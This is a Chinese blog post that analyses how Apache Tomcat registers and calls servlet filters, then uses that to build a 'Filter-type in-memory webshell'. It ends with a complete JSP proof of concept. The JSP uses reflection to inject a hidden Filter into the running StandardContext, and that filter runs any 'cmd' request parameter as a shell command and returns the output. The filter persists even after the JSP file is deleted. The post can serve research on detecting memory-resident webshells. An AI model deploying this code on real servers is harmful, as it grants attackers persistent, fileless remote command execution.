• Tomcat Java内存马 Filter型


    Tomcat Java内存马 Filter型

    之所以称为内存马是因为恶意代码是注入到TomcatContext里。

    Filter型则是通过把一个编写了恶意代码的Filter注册到Context里,然后触发该恶意Filter来运行恶意代码。当注册成功后,即使把恶意JSP删掉也没有关系,因为恶意Filter已经注册到Context里了,这也是为什么叫内存马的原因。并不依赖于文件。

    首先分析一下FilterTomcat里如何注册的。

    Filter

    Filter的doFilter

    Tomcat中一个自定义Filter类需要实现Filter接口,且在doFilter()方法里编写Filter要做的事。

    package javax.servlet;
    
    import java.io.IOException;
    
    public interface Filter {
        default void init(FilterConfig filterConfig) throws ServletException {}
    
        void doFilter(ServletRequest var1, ServletResponse var2, FilterChain var3) throws IOException, ServletException;
    
        default void destroy() {}
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    先写一个Demo打断点调试一下。

    public class FilterDemo01 implements Filter { 
    
        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
    
            System.out.println("FilterDemo01 doFilter"); 
            filterChain.doFilter(servletRequest,servletResponse); // 这里打一个断点
    
        }
    
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
            //Filter.super.init(filterConfig);
        }
    
        @Override
        public void destroy() {
            //Filter.super.destroy();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    web.xml里注册,或者通过@WebFilter注解。触发断点需要访问filterDemo01映射的路径**/servletdemo01**。

    DOCTYPE web-app PUBLIC
     "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
     "http://java.sun.com/dtd/web-app_2_3.dtd" >
    
    <web-app>
      <display-name>Archetype Created Web Applicationdisplay-name>
    
      <filter>
        <filter-name>filterDemo01filter-name>
        <filter-class>filter.FilterDemo01filter-class>
      filter>
    
      <filter-mapping>
        <filter-name>filterDemo01filter-name>
        <url-pattern>/servletdemo01url-pattern>
      filter-mapping>
    
    web-app>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    访问 /servletdemo01路径触发断点。断点为什么要断在filterChain.doFilter(servletRequest,servletResponse)呢?因为在Tomcatfilter链机制,这里不做赘述。

    断点停下,调用栈向上分析,通过源码调用doFilter()是在ApplicationFilterChain.internalDoFilter()

    //ApplicationFilterChain.java
    private void internalDoFilter(ServletRequest request, ServletResponse response)
        throws IOException, ServletException {
    
        if (pos < n) {
            ApplicationFilterConfig filterConfig = filters[pos++];
            try {
                Filter filter = filterConfig.getFilter();
    
                if( Globals.IS_SECURITY_ENABLED ) { /*...*/ } else {
                    filter.doFilter(request, response, this);
                }
            } catch (IOException | ServletException | RuntimeException e) 
            {throw e;} 
            catch (Throwable e) {e = ExceptionUtils.unwrapInvocationTargetException(e);ExceptionUtils.handleThrowable(e);throw new ServletException(sm.getString("filterChain.filter"), e);}
            return;
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    通过读取自身的字段filters[pos++] 获取ApplicationFilterConfig,该类封装了对应的Filter可以通过getFilter()获取。然后调用doFilter()

    //FilterDemo01.java
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
    
        System.out.println("FilterDemo01 doFilter");
        filterChain.doFilter(servletRequest,servletResponse);
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    值得一说的是filterChain就是在上面传入的this参数,也就是ApplicationFilterChain.doFilter(),在该方法里会调用internalDoFilter()方法然后通过filters[pos++]调用下一个filterdoFilter()方法。

    这就是所谓的Filter链机制,这也解释了为什么每个FilterdoFilter()方法都要写filterChain.doFilter(servletRequest,servletResponse);

    Filter的调用

    上面分析了怎么调用doFilter()的,接下来就需要分析一下Filter的调用了。

    public class FilterDemo01 implements Filter { // 这里打一个断点
    	/*...*/
    }
    
    • 1
    • 2
    • 3

    接着上一部分的ApplicationFilterChain.doFilter()往上再看一层,是StandardWrapperValve.invoke()。根据注释createFilterChain()就是创建Filter链的。

    //StandardWrapperValve.java
    public final void invoke(Request request, Response response) throws IOException, ServletException{
        
         // Create the filter chain for this request
            ApplicationFilterChain filterChain =
                    ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
        
        filterChain.doFilter(request.getRequest(), response.getResponse());
        
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    createFilterChain()中,会将这次request里的过滤器都加入到Filter链中。

    public static ApplicationFilterChain createFilterChain(ServletRequest request,Wrapper wrapper, Servlet servlet){
    
        // Create and initialize a filter chain object
        ApplicationFilterChain filterChain = null;
        if (request instanceof Request) {
            Request req = (Request) request;
            if (Globals.IS_SECURITY_ENABLED) {
                // Security: Do not recycle
                filterChain = new ApplicationFilterChain();
            } else {
                filterChain = (ApplicationFilterChain) req.getFilterChain();
                if (filterChain == null) {
                    filterChain = new ApplicationFilterChain();
                    req.setFilterChain(filterChain);
                }
            }
        } else {
            // Request dispatcher in use
            filterChain = new ApplicationFilterChain();
        }
    
        // Acquire the filter mappings for this Context
        StandardContext context = (StandardContext) wrapper.getParent();
        FilterMap filterMaps[] = context.findFilterMaps();
    
        // Add the relevant path-mapped filters to this filter chain
        for (FilterMap filterMap : filterMaps) {
            if (!matchDispatcher(filterMap, dispatcher)) {
                continue;
            }
            if (!matchFiltersURL(filterMap, requestPath)) {
                continue;
            }
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                context.findFilterConfig(filterMap.getFilterName());
            if (filterConfig == null) {
                // FIXME - log configuration problem
                continue;
            }
            filterChain.addFilter(filterConfig);
        }
    
        // Add filters that match on servlet name second
        for (FilterMap filterMap : filterMaps) {
            if (!matchDispatcher(filterMap, dispatcher)) {
                continue;
            }
            if (!matchFiltersServlet(filterMap, servletName)) {
                continue;
            }
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                context.findFilterConfig(filterMap.getFilterName());
            if (filterConfig == null) {
                // FIXME - log configuration problem
                continue;
            }
            filterChain.addFilter(filterConfig);
        }
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60

    首先初始化一个ApplicationFilterChain类型的filterChain,然后从wrapper获得StandardContext,然后从StandardContext获得filterMaps[] 数组。

    // Acquire the filter mappings for this Context
    StandardContext context = (StandardContext) wrapper.getParent();
    FilterMap filterMaps[] = context.findFilterMaps()
    
    • 1
    • 2
    • 3

    接下来遍历filterMaps数组,将符合条件的Filter加到Filter链里。

    for (FilterMap filterMap : filterMaps) {
        if (!matchDispatcher(filterMap, dispatcher)) {
            continue;
        }
        if (!matchFiltersURL(filterMap, requestPath)) {
            continue;
        }
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
            context.findFilterConfig(filterMap.getFilterName());
        if (filterConfig == null) {
            // FIXME - log configuration problem
            continue;
        }
        filterChain.addFilter(filterConfig);
    }
    
    // Add filters that match on servlet name second
    for (FilterMap filterMap : filterMaps) {
        if (!matchDispatcher(filterMap, dispatcher)) {
            continue;
        }
        if (!matchFiltersServlet(filterMap, servletName)) {
            continue;
        }
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
            context.findFilterConfig(filterMap.getFilterName());
        if (filterConfig == null) {
            // FIXME - log configuration problem
            continue;
        }
        filterChain.addFilter(filterConfig);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32

    注意第一次是检查URL是否匹配,第二回是检测Servlet是否匹配,filterMapsweb.xml 配置项里按照顺序依次读取Filter并进行匹配,符合条件的就加入本次requestFilter链里。

    //ApplicationFilterChain.java
    void addFilter(ApplicationFilterConfig filterConfig) {
    
        // Prevent the same filter being added multiple times
        for(ApplicationFilterConfig filter:filters) {
            if(filter==filterConfig) {
                return;
            }
        }
    
        filters[n++] = filterConfig;
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    并且可以看到就是把filterConfig加到链里,而这个filterConfig在上面是通过

    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
            context.findFilterConfig(filterMap.getFilterName());
    
    • 1
    • 2

    得到的。

    Poc

    通过上面的分析已知,我们需要构造的是filterConfigfilterMaps,且都可以从StandardContext中获得。

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ page import="org.apache.catalina.core.ApplicationContext" %>
    <%@ page import="java.lang.reflect.Field" %>
    <%@ page import="org.apache.catalina.core.StandardContext" %>
    <%@ page import="java.util.Map" %>
    <%@ page import="java.io.IOException" %>
    <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
    <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
    <%@ page import="java.lang.reflect.Constructor" %>
    <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
    <%@ page import="org.apache.catalina.Context" %>
    <%@ page import="java.io.InputStream" %>
    <%@ page import="java.util.Scanner" %>
    <%@ page import="org.apache.catalina.connector.Request" %>
    
    <%
        final String name = "2233";
    //    获取上下文
    //    ServletContext servletContext = request.getSession().getServletContext();
    //
    //    Field appctx = servletContext.getClass().getDeclaredField("context");
    //    appctx.setAccessible(true);
    //    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    //
    //    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    //    stdctx.setAccessible(true);
    //    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    
        Field reqF = request.getClass().getDeclaredField("request");
        reqF.setAccessible(true);
        Request req = (Request) reqF.get(request);
        StandardContext standardContext = (StandardContext) req.getContext();
    
        Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
        Configs.setAccessible(true);
        Map filterConfigs = (Map) Configs.get(standardContext);
    
        if (filterConfigs.get(name) == null){
            Filter filter = new Filter() {
                @Override
                public void init(FilterConfig filterConfig) throws ServletException {
    
                }
    
                @Override
                public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                    HttpServletRequest req = (HttpServletRequest) servletRequest;
                    if (req.getParameter("cmd") != null) {
                        boolean isLinux = true;
                        String osTyp = System.getProperty("os.name");
                        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                            isLinux = false;
                        }
                        String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
                        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                        Scanner s = new Scanner( in ).useDelimiter("\\a");
                        String output = s.hasNext() ? s.next() : "";
                        servletResponse.getWriter().write(output);
                        servletResponse.getWriter().flush();
                        return;
                    }
                    filterChain.doFilter(servletRequest, servletResponse);
                }
    
                @Override
                public void destroy() {
    
                }
    
            };
    
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(filter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(filter.getClass().getName());
            standardContext.addFilterDef(filterDef);
    
            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern("/2233");
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
    
            standardContext.addFilterMapBefore(filterMap);
    
            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
    
            filterConfigs.put(name, filterConfig);
            out.print("Inject Success !");
        }
    %>
    <html>
    <head>
        <title>poctitle>
    head>
    <body>
    hello poc2
    body>
    html>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100

    参考文章:

  • 相关阅读:
    Java- Object根父类
    【数据库】数据库中的备份与恢复,保障容灾时的数据一致性与完整性
    微信小程序新能源汽车信息安全服务平台设计与实现
    leetcode:231. 2 的幂(位运算)
    jQuery_五角星评分/链式编程
    微信小程序 springboot旅游景点门票预订服务系统
    TS 变量类型
    『Android』Toolbar+DrawerLayout+NavigationView实现类似QQ侧边栏效果
    【无标题】
    Java手写插入排序和算法案例拓展
  • 原文地址:https://blog.csdn.net/qq_40710190/article/details/125900491